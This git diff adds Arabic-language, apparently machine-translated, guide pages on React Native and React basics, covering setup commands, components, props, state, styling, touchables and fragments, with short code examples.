+4.  يفهم R أيضًا الكتابة بالأحرف الكبيرة (أو حساس لحالة الأحرف) ، لذلك سيشير الاسم والاسم إلى كائنات مختلفة.
+    
+5.  يمكنك رؤية أسماء الكائنات التي استخدمتها بالفعل مع الدالة `ls()` .
+    
+
+## المراجع
+
+[المستندات الرسمية](https://cran.r-project.org/manuals.html) [الأشياء في R بواسطة المدونين r](https://www.r-bloggers.com/classes-and-objects-in-r/) [كرا](https://cran.r-project.org/doc/manuals/r-release/R-lang.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/basic-commands/index.md b/client/src/guide/arabic/react-native/basic-commands/index.md
new file mode 100644
index 0000000000..172e152c39
--- /dev/null
+++ b/client/src/guide/arabic/react-native/basic-commands/index.md
@@ -0,0 +1,66 @@
+---
+title: Basic Commands
+localeTitle: الأوامر الأساسية
+---
+## الأوامر الأساسية
+
+ستجد هنا قائمة بالأوامر الأساسية لبدء تطوير تطبيقات iOS و Android باستخدام React Native. إذا لم تكن قد قمت بتثبيته بعد ، يوصى بشدة أن تتبع [الدليل الرسمي](https://facebook.github.io/react-native/docs/getting-started.html) .
+
+### بدء مشروع جديد
+
+هناك طرق مختلفة يمكنك بها تشغيل تطبيق أصلي متفاعل. يمكنك استخدام **Expo** أو `create-react-native-app` (والذي يستخدم بدوره Expo-Cli) لبدء مشروعك الجديد ، ولكن مع هذا الأسلوب فإنك تكون في سيطرة أكبر على ما حدث في مشروعك ويمكنه التواصل والتأقلم والكتابة وحدات خاصة بها مع المكتبات الأصلية لنظامي تشغيل iOS و Android.
+
+ `react-native init [PROJECT-NAME] 
+ cd [PROJECT-NAME] 
+` 
+
+**تشغيل التطبيق في محاكي الأندرويد**
+
+هذا الأمر توضيحي ذاتي ، كما يقول أنه سيبدأ محاكي Android ويثبّت التطبيق الذي أنشأته للتو. يجب أن تكون في جذر المشروع لتشغيل هذا الأمر.
+
+ `react-native run-android 
+` 
+
+**تشغيل التطبيق في محاكي iOS**
+
+يعمل هذا الأمر تمامًا مثل `react-native run-android` ولكن بدلاً من محاكي Android ، فإنه يفتح محاكي iPhone.
+
+ `react-native run-ios 
+` 
+
+**ربط التبعيات بالمشروعات المحلية**
+
+تحتوي بعض المكتبات على تبعيات يلزم ربطها في الشفرة الأصلية التي تم إنشاؤها لـ React Native. إذا لم ينجح شيء ما بعد تثبيت مكتبة جديدة ، فربما يرجع السبب في ذلك إلى تخطي هذه الخطوة.
+
+ `react-native link [LIBRARY-NAME] 
+` 
+
+**مسح الحزمة**
+
+إذا لم يتم تشغيل شيء كما هو متوقع ، فربما تحتاج إلى مسح وإنشاء حزمة جديدة باستخدام هذا الأمر.
+
+ `watchman watch-del-all 
+` 
+
+**دعم الديكور**
+
+لا تدعم JSX الديكورات بشكل افتراضي حتى تحتاج إلى تثبيت المكوِّن الإضافي **Babel** لجعله يعمل.
+
+ `npm install babel-plugin-transform-decorators-legacy --save 
+ npm install babel-plugin-transform-class-properties --save 
+` 
+
+### تصدير APK للتشغيل في الجهاز
+
+باستخدام الأوامر التالية ، سيكون لديك ملف apk أو غير موقوف بحيث يمكنك التثبيت والمشاركة مع زملائك لأغراض الاختبار. فقط تذكر أن ملف apk هذا غير جاهز للتحميل إلى متجر التطبيقات أو الإنتاج. سوف تجد APK الخاص بك جديدة في _الروبوت / التطبيق / البناء / النواتج / apk / التطبيق debug.apk_
+
+**1\. بناء التصحيح التصحيح**
+
+ `react-native bundle --dev false --platform android --entry-file index.android.js --bundle-output ./android/app/build/intermediates/assets/debug/index.android.bundle --assets-dest ./android/app/build/intermediates/res/merged/debug 
+` 
+
+**2\. إنشاء بناء التصحيح**
+
+ `cd android 
+ ./gradlew assembleDebug 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/functional-vs-class-components/index.md b/client/src/guide/arabic/react-native/functional-vs-class-components/index.md
new file mode 100644
index 0000000000..bbf278be34
--- /dev/null
+++ b/client/src/guide/arabic/react-native/functional-vs-class-components/index.md
@@ -0,0 +1,37 @@
+---
+title: Functional vs Class Components
+localeTitle: مكونات وظيفية مقابل فئة
+---
+## React Native - مكونات الطبقة الوظيفية مقابل
+
+في React Native ، هناك نوعان رئيسيان من المكونات التي تشكل مكونًا - _مكونات وظيفية ومكونات_ _فئة_ . ويتم تنظيمها بنفس الطريقة المتبعة في تطبيق React العادي للويب.
+
+### مكونات الطبقة
+
+مكونات الفئة هي فئات JavaScript ES2015 التي توسع فئة أساسية من React تسمى `Component` .
+
+ `class App extends Component { 
+    render () { 
+        return ( 
+            <Text>Hello World!</Text> 
+        ) 
+    } 
+ } 
+` 
+
+يتيح ذلك الوصول إلى فئة `App` إلى أساليب دورة حياة React مثل `render` بالإضافة إلى وظيفة الحالة / الدعائم من الأصل.
+
+### مكونات وظيفية
+
+المكونات الوظيفية هي أبسط. فهم لا يديرون حالتهم الخاصة أو يمكنهم الوصول إلى أساليب دورة الحياة التي يقدمها React Native. هم حرفيا وظائف جافا سكريبت عادي حرفيا. وهي تعرف أيضًا باسم المكونات عديمة الحالة.
+
+ `const PageOne = () => { 
+    return ( 
+        <h1>Page One</h1> 
+    ); 
+ } 
+` 
+
+### ملخص
+
+يتم استخدام مكونات الفئة كمكونات حاوية للتعامل مع إدارة الحالة وملف المكونات التابعة. عموما يتم استخدام المكونات الوظيفية فقط لأغراض العرض - هذه المكونات تستدعي الوظائف من المكونات الأصلية للتعامل مع تفاعلات المستخدم أو تحديثات الحالة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/hello-world/index.md b/client/src/guide/arabic/react-native/hello-world/index.md
new file mode 100644
index 0000000000..6ef6d60c3a
--- /dev/null
+++ b/client/src/guide/arabic/react-native/hello-world/index.md
@@ -0,0 +1,39 @@
+---
+title: Hello World
+localeTitle: مرحبا بالعالم
+---
+## مرحبا بالعالم
+
+في صفحة الويب التقليدية ، يمكنك بسهولة تقديم `Hello World!` على الشاشة عن طريق كتابة بعض HTML مثل هذا:
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Test Page</title> 
+  </head> 
+  <body> 
+    <p>Hello World!</p> 
+  </body> 
+ </html> 
+` 
+
+في React Native ، لا يوجد DOM أو مستعرض ، لذلك يجب عليك عرض الأشياء على الشاشة من واجهة برمجة تطبيقات الجوال التي يقدمها React Native. على سبيل المثال ، بدلاً من استخدام علامة `<p>` كملف للنص كما لو كنت على الويب ، يمكنك استخدام `<Text>` ؛ بدلاً من علامات حاوية `<div>` ، يمكنك استخدام `<View>` .
+
+ `import React, { Component } from 'react'; 
+ import { AppRegistry, View, Text } from 'react-native'; 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+        <Text> Hello World! </Text> 
+      </View> 
+    ); 
+  } 
+ } 
+ 
+ AppRegistry.registerComponent('AwesomeProject', () => App); 
+` 
+
+لعرض التعليمات البرمجية إلى الشاشة ، بدلاً من فتح الصفحة في مستعرض ، يمكنك استخدام أسلوب `AppRegistry.registerComponent()` خاص `AppRegistry.registerComponent()` Native لتقديم التطبيق إلى جهاز محمول.
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/index.md b/client/src/guide/arabic/react-native/index.md
new file mode 100644
index 0000000000..ec45cba684
--- /dev/null
+++ b/client/src/guide/arabic/react-native/index.md
@@ -0,0 +1,39 @@
+---
+title: React Native
+localeTitle: تتفاعل الأصلية
+---
+## تتفاعل الأصلية
+
+React Native عبارة عن إطار متعدد المنصات لبناء تطبيقات الجوال التي يمكن تشغيلها خارج المتصفح - معظم تطبيقات iOS و Android
+
+يمكن استخدامه لإنشاء تطبيقات على أجهزة Windows ، وتطبيقات OS سطح المكتب ، وتطبيقات Apple TV أيضًا ، ولكن هذا الدليل سيغطي فقط الأغراض الأكثر شيوعًا - تطبيقات Android و iOS.
+
+**جدول المحتويات**
+
+*   [ما هو React Native؟](#what-is-react-native)
+*   [أسباب لاختيار React Native](#reasons-to-choose-react-native)
+*   [كيف تبدأ مع React Native](#how-to-get-started-with-react-native)
+
+### ما هو رد الفعل الأصلية
+
+يقع React Native بين التطبيقات المحلية والتطبيقات المختلطة على طيف التطبيق المحمول. تعد واجهة المستخدم التي تنشئها محلية تمامًا ، كما أن أداء التطبيق العام يكاد يكون جيدًا مثل كتابة تطبيق أصلي. كما أنه يمنحك المرونة لتضمين عرض الويب (صفحات الويب) أو كود أصلي (Java / Kotlin for Android ، Objective C / Swift for iOS) داخل تطبيقاتك أينما تريد.
+
+يتبع نفس نمط رد الفعل حيث يتم عرض طرق العرض (ما تراه على الشاشة) من ملفات JavaScript. ويكمن الاختلاف في أنها توفر واجهة برمجة التطبيقات الخاصة بها للتعامل مع طرق عرض الجوال المحلية مقارنة بـ DOM على الويب. إذا كنت مرتبكًا حول كيفية عمل ذلك ، اتبع هذا الدليل على freeCodeCamp وسيأخذك خطوة بخطوة خلال هذه المفاهيم.
+
+### أسباب لاختيار React Native
+
+1.  **إعادة استخدام الرمز** - يستخدم رمزًا واحدًا يتم مشاركته بين النظامين الأساسيين.
+2.  **إعادة استخدام أدوات ومهارات الويب** - يمكنك إعادة استخدام معلومات وأدوات وأدوات مساعدة JavaScript مثل `axios` و Redux والمكتبات الأخرى التي لا تتطلب DOM من الويب.
+3.  **محسّن لإنتاجية المطورين** - يأتي بمميزات مثل إعادة تحميل الوحدة النمطية / الفورية وأدوات مطوّري البرامج Chrome لتصحيح الأخطاء خارج المربع!
+4.  **الأداء** - أداء أفضل من أطر التطبيقات الهجينة مثل Ionic و Cordova نظرًا لأنها لا تستخدم طرق عرض الويب.
+5.  **دعم الشركات** - **تدعم** الكثير من الشركات وتسهم في React Native بما في ذلك Walmart و Airbnb و Wix وبالطبع Facebook.
+6.  **المجتمع** - React Native له مجتمع كبير (ومتزايد) مع أكثر من 1500 مساهم في المشروع الأساسي وآلاف أخرى ممن يساهمون في المكتبات المختلفة.
+7.  **تجربة مستخدم أفضل** - يستخدم React Native شفرة JavaScript لتقديم المكونات الأصلية من نظام التشغيل الخاص بهاتفك. وبعبارة أخرى ، فإن واجهة المستخدم للتطبيق (UI) هي محلية بالكامل!
+8.  **Cross-Platform** - طريقة رائعة لنموذج ووفر الوقت أثناء إنشاء تطبيق عالمي خاص بكل مستخدم على حدة أو تطبيق جوال خاص بالنظام الأساسي يمكن تشغيله على كل من أجهزة iOS و Android.
+
+### كيف تبدأ مع React Native
+
+هناك طريقتان سريعتان سهلتان للبدء مع React Native. اعتمادا على وضعك ، يمكن للمرء أن يكون خيارا أفضل بالنسبة لك.
+
+1.  [Create React Native App](https://www.npmjs.com/package/create-react-native-app) - على غرار إنشاء تطبيق React فإنه الحصول على ما يصل في تشغيل باستخدام المحطة.
+2.  [Expo](https://expo.io) - Best for prototyping an app or if above stage. باستخدام Expo ، يمكنك أيضًا إنشاء تطبيق سريع باستخدام ميزات السحب والإفلات من snack.expo.io في broswer.
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/props/index.md b/client/src/guide/arabic/react-native/props/index.md
new file mode 100644
index 0000000000..988764840f
--- /dev/null
+++ b/client/src/guide/arabic/react-native/props/index.md
@@ -0,0 +1,64 @@
+---
+title: Props
+localeTitle: الدعائم
+---
+## رد الفعل الأصلية - الدعائم
+
+المصطلح الدعائم ، اختصارًا لـ "الخصائص" ، يعني نوعًا من البيانات التي يتم تمريرها من أحد المكونات إلى آخر. تتدفق الدعائم دائمًا من المكون الرئيسي إلى الطفل.
+
+في React ، يستطيع المكون الفرعي الوصول إلى المعلومات من أحد الوالدين عبر الدعائم:
+
+ `// the child Header component receives the text prop and can access it via this.props.text 
+ class Header extends Component { 
+  render () { 
+    return ( 
+      <Text>{this.props.text}</Text> 
+    ) 
+  } 
+ } 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <Header text="Welcome!" /> 
+    ); 
+  } 
+ } 
+` 
+
+هذا أيضا يعمل بنفس الطريقة في المكونات الوظيفية:
+
+ `// in functional components, props will be received as a parameter 'props' 
+ const Header = (props) => { 
+  return ( 
+    <Text>{props.title}</Text> 
+  ); 
+ }; 
+ 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+    <Header text="Welcome!" /> 
+      </View> 
+    ); 
+  } 
+ } 
+` 
+
+ستتيح لك المكتبات الأخرى التي تقوم باستيرادها الوصول إلى خصائص إضافية داخل المكونات الخاصة بك. فيما يلي مثال من مكتبة [العناصر](https://github.com/react-native-training/react-native-elements) المتفاعلة [الأصلية](https://github.com/react-native-training/react-native-elements) .
+
+ ``import { Button } from 'react-native-elements'; 
+ 
+ // here 'buttonStyle' and 'title' are props passed into the Button component 
+ class App extends Component { 
+  render () { 
+    return ( 
+      <Button 
+    buttonStyle={{backgroundColor: 'red', borderRadius: 10}} 
+    title={`Submit`} 
+      /> 
+    ); 
+  } 
+ } 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/screen-dimensions/index.md b/client/src/guide/arabic/react-native/screen-dimensions/index.md
new file mode 100644
index 0000000000..4dbff57374
--- /dev/null
+++ b/client/src/guide/arabic/react-native/screen-dimensions/index.md
@@ -0,0 +1,24 @@
+---
+title: Screen Dimensions
+localeTitle: أبعاد الشاشة
+---
+## React Native - أبعاد الشاشة
+
+يستخدم React Native Dots Per Inch (DPI) لقياس حجم واجهة المستخدم (UI) وأي شيء معروض على واجهة المستخدم. يسمح هذا النوع من القياس للتطبيق بمظهر منتظم عبر مختلف أحجام الشاشات والكثافات البيكسل.
+
+بالنسبة لحالات الاستخدام القياسي ، يمكن تطوير التطبيقات دون الاضطرار إلى معرفة خصائص جهاز المستخدم (على سبيل المثال ، كثافة البكسل) نظرًا لتوسيع نطاق عناصر واجهة المستخدم تلقائيًا. عندما تكون هناك حاجة ، هناك availabel APIs مثل `PixelRatio` للتعرف على كثافة البكسل لجهاز المستخدم.
+
+للحصول على النافذة أو ارتفاع الشاشة / عرض جهاز المستخدم ، يحتوي React Native على واجهة برمجة تطبيقات تسمى `Dimensions` .
+
+ `import { Dimensions } from 'react-native'; 
+` 
+
+في ما يلي الطرق التي توفرها `Dimensions` API:
+
+ `Dimensions.get('window').height; 
+ Dimensions.get('window').width; 
+ Dimensions.get('screen').height; 
+ Dimensions.get('screen').width; 
+` 
+
+**ملاحظة: كانت هناك بعض المشكلات المعروفة في الماضي باستخدام Dimensions API مثل عدم إرجاع المعلومات الصحيحة عند تدوير المستخدم لجهازه. من الأفضل التأكد من اختبار ذلك على الأجهزة الفعلية قبل نشر التطبيق.**
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/state/index.md b/client/src/guide/arabic/react-native/state/index.md
new file mode 100644
index 0000000000..60be4e75db
--- /dev/null
+++ b/client/src/guide/arabic/react-native/state/index.md
@@ -0,0 +1,71 @@
+---
+title: Component State
+localeTitle: حالة المكون
+---
+## حالة المكون
+
+في مكونات `Class` ، توجد طريقة لتخزين وإدارة الحالة المدمجة في React Native.
+
+ `class App extends Component { 
+  constructor () { 
+    super(); 
+    this.state = { 
+      counter: 0 
+    }; 
+  } 
+  incrementCount () { 
+    this.setState({ 
+      counter: this.state.counter + 1 
+    }); 
+  } 
+  decrementCount () { 
+    this.setState({ 
+      counter: this.state.counter - 1 
+    }); 
+  } 
+  render () { 
+    return ( 
+      <View> 
+        <Text>Count: {this.state.counter}</Text> 
+        <Button onPress={this.decrementCount.bind(this)}>-</Button> 
+        <Button onPress={this.incrementCount.bind(this)}>+</Button> 
+      </View> 
+    ); 
+  } 
+ } 
+` 
+
+الحالة مشابهة للدعائم ، ولكنها خاصة ويتم التحكم فيها بالكامل بواسطة المكون. هنا ، يتم استدعاء الأسلوب `constructor()` فئة الأصل "المنشئ `super();` - **`Component`** هو الفئة الرئيسية `App` لأننا نستخدم الكلمة الرئيسية `extends` . تقوم أداة `constructor()` أيضًا بتهيئة كائن حالة المكون:
+
+ `this.state = { 
+  counter: 0 
+ }; 
+` 
+
+يمكن عرض الحالة داخل المكون:
+
+ `{this.state.counter} 
+` 
+
+أو تحديثه عن طريق الاتصال:
+
+ `this.setState({}); 
+` 
+
+**ملاحظة:** بصرف النظر عن الإنشاء المبدئي في طريقة `constructor()` المكون `constructor()` ، يجب ألا تقوم أبدًا بتعديل حالة المكوّن مباشرةً بهذا `this.state =` . يجب استخدام هذا `this.setState` كما يمكن رؤيته في الدالتين `incrementCount` و `decrementCount` أعلاه.
+
+يتم زيادة العدد `onPress` عن طريق استدعاء الدالات التي تم تمريرها إلى معالجات `onPress` مثلما لو كانت تسمى معالج النقر من JavaScript على الويب.
+
+_بصيغة ASIDE: في المثال الأول ، يعد `<Button>` مكونًا مخصصًا ؛ إنه مزيج من `<TouchableOpacity>` و `<Text>` من واجهة برمجة التطبيقات React Native API:_
+
+ `const Button = ({ onPress, children, buttonProps, textProps }) => { 
+  const { buttonStyle, textStyle } = styles; 
+  return ( 
+    <TouchableOpacity onPress={onPress} style={[buttonStyle, buttonProps]}> 
+      <Text style={[textStyle, textProps]}> 
+        {children} 
+      </Text> 
+    </TouchableOpacity> 
+  ); 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/styling/index.md b/client/src/guide/arabic/react-native/styling/index.md
new file mode 100644
index 0000000000..d50438d42a
--- /dev/null
+++ b/client/src/guide/arabic/react-native/styling/index.md
@@ -0,0 +1,115 @@
+---
+title: Styling
+localeTitle: تصميم
+---
+## رد الفعل الأصلية - التصميم
+
+يوفر React Native واجهة برمجة تطبيقات لإنشاء أوراق الأنماط وتصميم [مكوناتك](https://facebook.github.io/react-native/docs/stylesheet) : [StyleSheet](https://facebook.github.io/react-native/docs/stylesheet) .
+
+ `import React, { Component } from 'react'; 
+ import { StyleSheet, View, Text } from 'react-native'; 
+ 
+ export default class App extends Component { 
+  render () { 
+    return ( 
+      <View> 
+        <Text style={styles.header}>I am a header!</Text> 
+        <Text style={styles.text}>I am some blue text.</Text> 
+      </View> 
+    ); 
+  } 
+ } 
+ 
+ const styles = StyleSheet.create({ 
+  header: { 
+    fontSize: 20 
+  }, 
+  text: { 
+    color: 'blue' 
+  } 
+ }); 
+` 
+
+في حين أن أنماط صفحات الأنماط المتتالية من CSS غير صالحة ، فإن مجموعة الروابط المتداخلة لـ CSS الخاصة بـ Native تشبه إلى حد كبير CSS التقليدية. تكون العديد من خصائص CSS (مثل `color` ، `height` ، `top` ، `right` ، `bottom` ، `left` ) هي نفسها في StyleSheet. يجب تغيير أي خصائص CSS لها واصلات (مثل `font-size` ، `background-color` ) إلى camelCase (مثل `fontSize` ، `backgroundColor` ).
+
+ليست كل خصائص CSS موجودة في StyleSheet. نظرًا لعدم وجود مفهوم حقيقي للحوم على أجهزة الجوال ، فإن خصائص CSS hover لا تتواجد في React Native. بدلاً من ذلك ، يوفر [React](https://facebook.github.io/react-native/docs/handling-touches#touchables) Native [مكونات قابلة](https://facebook.github.io/react-native/docs/handling-touches#touchables) للمس التي تستجيب لأحداث اللمس.
+
+كما لا يتم توريث الأنماط كما هي في CSS التقليدية. في معظم الحالات ، يجب عليك تعريف نمط كل مكون.
+
+### تنسيقات Flexbox
+
+يستخدم [React](https://facebook.github.io/react-native/docs/flexbox) Native تطبيق [flexbox](https://facebook.github.io/react-native/docs/flexbox) مشابهًا لمعيار الويب. بشكل افتراضي ، سيتم تعيين العناصر في العرض `display: flex` .
+
+> إذا كنت لا ترغب في استخدام flexbox ، فيمكنك أيضًا ترتيب React Native components عبر المواقع `relative` أو `absolute` .
+
+`flexDirection: column` Native `flexDirection: column` to `flexDirection: column` ، instead of `flex-direction: row` (web standard). تعرض قيمة `column` العناصر المرنة رأسياً ، والتي تستوعب الأجهزة المحمولة في الاتجاه العمودي.
+
+لمعرفة المزيد حول flexbox ، قم بزيارة [هذا الدليل التفصيلي حول CSS-Tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) ونهج تعلم مهذب مع [Flexbox Froggy](http://flexboxfroggy.com/) .
+
+### مكونات منسقة
+
+لا يسهل دائمًا الحفاظ على تضمين الكثير من الأنماط في ملف يحتوي على مكون. يمكن للمكونات ذات التصميم حل هذه المشكلة.
+
+على سبيل المثال ، يمكن استخدام مكون زر في أماكن متعددة عبر تطبيق ما. لن يكون نسخ كائن النمط ولصقه مع كل نسخة زر غير فعال. بدلاً من ذلك ، قم بإنشاء مكون زر يمكن استخدامه وإعادة استخدامه:
+
+ `import React from 'react'; 
+ import { Text, TouchableOpacity } from 'react-native'; 
+ 
+ const Button = ({ onPress, children }) => { 
+  const { buttonStyle, textStyle } = styles; 
+  return ( 
+    <TouchableOpacity onPress={onPress} style={buttonStyle}> 
+      <Text style={textStyle}> 
+        {children} 
+      </Text> 
+    </TouchableOpacity> 
+  ); 
+ }; 
+ 
+ export default Button; 
+ 
+ const styles = { 
+  textStyle: { 
+    alignSelf: 'center', 
+    color: '#336633', 
+    fontSize: 16, 
+    fontWeight: '600', 
+    paddingTop: 10, 
+    paddingBottom: 10 
+  }, 
+  buttonStyle: { 
+    backgroundColor: '#fff', 
+    borderWidth: 1, 
+    borderColor: '#336633', 
+    paddingTop: 4, 
+    paddingBottom: 4, 
+    paddingRight: 25, 
+    paddingLeft: 25, 
+    marginTop: 10, 
+    width: 300 
+  } 
+ }; 
+` 
+
+يمكن بسهولة استيراد واستخدام مكون الزر عبر التطبيق دون الإعلان عن كائن النمط بشكل متكرر:
+
+ `import React, { Component } from 'react'; 
+ import { TextInput, View } from 'react-native'; 
+ import Button from './styling/Button'; 
+ 
+ export default class Login extends Component { 
+  render() { 
+    return ( 
+        <View> 
+          <TextInput placeholder='Username or Email' /> 
+          <TextInput placeholder='Password' /> 
+          <Button>Log In</Button> 
+        </View> 
+    ); 
+  } 
+ } 
+` 
+
+### مكتبات لتصميم
+
+هناك عدد قليل من المكتبات الشعبية لتصميم React Native. يوفر بعضها ميزات مشابهة لـ [Bootstrap](../../bootstrap/index.md) ، بما في ذلك النماذج الافتراضية وأنماط الأزرار وخيارات تخطيط الصفحة. واحدة من المكتبات الأكثر شعبية هي [اسلوب-- المكونات](https://github.com/styled-components/styled-components) . هناك العديد من الآخرين يمكنك العثور على npm و GitHub في محاولة لنفسك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/react-native/touchables/index.md b/client/src/guide/arabic/react-native/touchables/index.md
new file mode 100644
index 0000000000..08bc830570
--- /dev/null
+++ b/client/src/guide/arabic/react-native/touchables/index.md
@@ -0,0 +1,45 @@
+---
+title: Touchables
+localeTitle: ملموس
+---
+## React Native - Touchables
+
+تدور بعض الميزات الرئيسية للأجهزة المحمولة حول تفاعلات اللمس للمستخدم. يمكن أن يعمل تطبيق الجوّال على التعامل مع هذه التفاعلات ويستجيب لها أو يؤدي إلى كسر تجربة المستخدم.
+
+React Native ships مع عنصر `Button` يعمل مع العديد من تفاعلات `onPress` القياسية. بشكل افتراضي ، فإنه يعطي ملاحظات المستخدم عن طريق تغيير العتامة لإظهار الضغط على الزر. الاستعمال:
+
+ `<Button onPress={handlePress} title="Submit" /> 
+` 
+
+لحالات الاستخدام الأكثر تعقيدًا ، قام React Native بإنشاء واجهات برمجة التطبيقات للتعامل مع التفاعلات الصحفية المسماة `Touchables` .
+
+ `TouchableHighlight 
+ TouchableNativeFeedback 
+ TouchableOpacity 
+ TouchableWithoutFeedback 
+` 
+
+يمكن تصميم واستخدام كل من هذه المكونات القابلة للتشابك مع مكتبة ، مثل `Animated` المدمجة ، مما يتيح لك إنشاء أنواع خاصة بك من تعليقات المستخدمين المخصصة.
+
+بعض الأمثلة على استخدام هذه المكونات:
+
+ `// with images 
+ <TouchableHighlight onPress={this.handlePress}> 
+  <Image 
+    style={styles.button} 
+    source={require('./logo.png')} 
+  /> 
+ </TouchableHighlight> 
+ 
+ // with text 
+ <TouchableHighlight onPress={this.handlePress}> 
+  <Text>Hello</Text> 
+ </TouchableHighlight> 
+` 
+
+يمكنك التعامل مع أنواع مختلفة من الضغط على الزر أيضًا. بشكل افتراضي ، يتم تكوين الأزرار و touchables للتعامل مع الصنابير العادية ، ولكن يمكنك أيضا أن تشير إلى وظيفة لاستدعاء اضغط مع الاستمرار على التفاعلات على سبيل المثال.
+
+ `<TouchableHighlight onPress={this.handlePress} onLongPress={this.handleLongPress}> 
+` 
+
+للاطلاع على جميع الأدوات المتوفرة المتوفرة وكيفية عمل هذه المكونات ، يمكنك الاطلاع على [شفرة مصدر جافا سكريبت لـ Touchables هنا](https://github.com/facebook/react-native/tree/master/Libraries/Components/Touchable) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/a-react-environment-using-a-remote-code-repository/index.md b/client/src/guide/arabic/react/a-react-environment-using-a-remote-code-repository/index.md
new file mode 100644
index 0000000000..e15ee050cb
--- /dev/null
+++ b/client/src/guide/arabic/react/a-react-environment-using-a-remote-code-repository/index.md
@@ -0,0 +1,13 @@
+---
+title: A React Environment Using a Remote Code Repository
+localeTitle: بيئة تفاعلية باستخدام مستودع Code بعيد
+---
+هذا هو كيفية إنشاء بيئة React غير إنتاجية باستخدام مخزن رمز بعيد. سنستخدم تفاعل cdnjs.cloudflare.com 16.0.0 و react-dom و babel-standalone 6.26.0 لانجاز هذا. يستخدم babel-polyfill لتوافق المتصفحات القديمة.
+
+\`\` \`أتش تي أم أل
+
+   مرحباً
+
+ReactDOM.render( <h1>Hello React</h1>, document.getElementById('helloreact'));
+
+\`\` \` إذا تم حفظ هذا الرمز مع امتداد ملف html (helloReact.html) ، يمكن فتحه في متصفح ويب سيتم تشغيل React و Babel.
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/component/index.md b/client/src/guide/arabic/react/component/index.md
new file mode 100644
index 0000000000..d925bdb113
--- /dev/null
+++ b/client/src/guide/arabic/react/component/index.md
@@ -0,0 +1,72 @@
+---
+title: React - Components
+localeTitle: رد الفعل - مكونات
+---
+## رد الفعل - مكونات
+
+مكونات قابلة لإعادة الاستخدام في react.js. يمكنك ضخ القيمة في الدعائم كما هو موضح أدناه:
+
+ `function Welcome(props) { 
+  return <h1>Hello, {props.name}</h1>; 
+ } 
+ 
+ const element = <Welcome name="Faisal Arkan" />; 
+ ReactDOM.render( 
+  element, 
+  document.getElementById('root') 
+ ); 
+` 
+
+`name="Faisal Arkan"` سيعطي قيمة في `{props.name}` من `function Welcome(props)` `{props.name}` المكونة التي أعطيت القيمة `name="Faisal Arkan"` ، بعد أن تتفاعل ستجعل العنصر في html.
+
+### طرق أخرى لإعلان المكونات
+
+هناك العديد من الطرق لاعلان المكونات عند استخدام React.js، ولكن هناك نوعان من المكونات، ومكونات **_عديمي الجنسية_** ومكونات **_جليل._**
+
+### جليل
+
+#### مكونات نوع الطبقة
+
+ `class Cat extends React.Component { 
+  constructor(props) { 
+    super(props); 
+ 
+    this.state = { 
+      humor: 'happy' 
+    } 
+  } 
+  render() { 
+    return( 
+      <div> 
+        <h1>{this.props.name}</h1> 
+        <p> 
+          {this.props.color} 
+        </p> 
+      </div> 
+    ); 
+  } 
+ } 
+` 
+
+### مكونات عديمة الحالة
+
+#### مكونات وظيفية (وظيفة السهم من ES6)
+
+ `const Cat = props => { 
+  return ( 
+    <div> 
+      <h1>{props.name}</h1> 
+      <p>{props.color}</p> 
+    </div>; 
+  ); 
+ }; 
+` 
+
+#### مكونات العودة الضمنية
+
+ `const Cat = props => 
+  <div> 
+    <h1>{props.name}</h1> 
+    <p>{props.color}</p> 
+  </div>; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/components/index.md b/client/src/guide/arabic/react/components/index.md
new file mode 100644
index 0000000000..678fdef24b
--- /dev/null
+++ b/client/src/guide/arabic/react/components/index.md
@@ -0,0 +1,11 @@
+---
+title: Components
+localeTitle: المكونات
+---
+# المكونات
+
+المكونات هي لبنات بناء React.
+
+### معلومات اكثر:
+
+[المكونات والدعائم](https://reactjs.org/docs/components-and-props.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/react/fragments/index.md b/client/src/guide/arabic/react/fragments/index.md
new file mode 100644
index 0000000000..a835c7935d
--- /dev/null
+++ b/client/src/guide/arabic/react/fragments/index.md
@@ -0,0 +1,57 @@
+---
+title: Fragments
+localeTitle: فتات
+---
+# فتات
+
+الأجزاء هي طريقة لعرض عناصر متعددة دون استخدام عنصر مجمّع. عند محاولة تقديم عناصر بدون علامة تضمين في JSX ، سترى رسالة الخطأ `Adjacent JSX elements must be wrapped in an enclosing tag` . وذلك لأنه عندما يقوم JSX بالانتقال ، فإنه ينشئ عناصر تحمل أسماء علاماتها المقابلة ، ولا يعرف اسم العلامة الذي يجب استخدامه إذا تم العثور على عناصر متعددة. في الماضي ، كان الحل المتكرر لهذا هو استخدام div diver لحل هذه المشكلة. ومع ذلك ، جلب الإصدار 16 من React إضافة `Fragment` ، مما يجعل هذا لم يعد ضروريًا.
+
+تعمل `Fragment` جزءًا بدون إضافة أقسام غير ضرورية إلى DOM. يمكنك استخدامه مباشرة من استيراد React أو تفكيكه:
+
+ `import React from 'react'; 
+ 
+ class MyComponent extends React.Component { 
+  render(){ 
+    return ( 
+      <React.Fragment> 
+        <div>I am an element!</div> 
+        <button>I am another element</button> 
+      </React.Fragment> 
+    ); 
+  } 
+ } 
+ 
+ export default MyComponent; 
+` 
+
+ `// Deconstructed 
+ import React, { Component, Fragment } from 'react'; 
+ 
+ class MyComponent extends Component { 
+  render(){ 
+    return ( 
+      <Fragment> 
+        <div>I am an element!</div> 
+        <button>I am another element</button> 
+      </Fragment> 
+    ); 
+  } 
+ } 
+ 
+ export default MyComponent; 
+` 
+
+نجح الإصدار 16.2 من React في تبسيط هذه العملية بشكل أكبر ، مما يسمح بوضع علامات JSX فارغة في شكل أجزاء:
+
+ `return ( 
+  <> 
+    <div>I am an element!</div> 
+    <button>I am another element</button> 
+  </> 
+ ); 
+` 
+
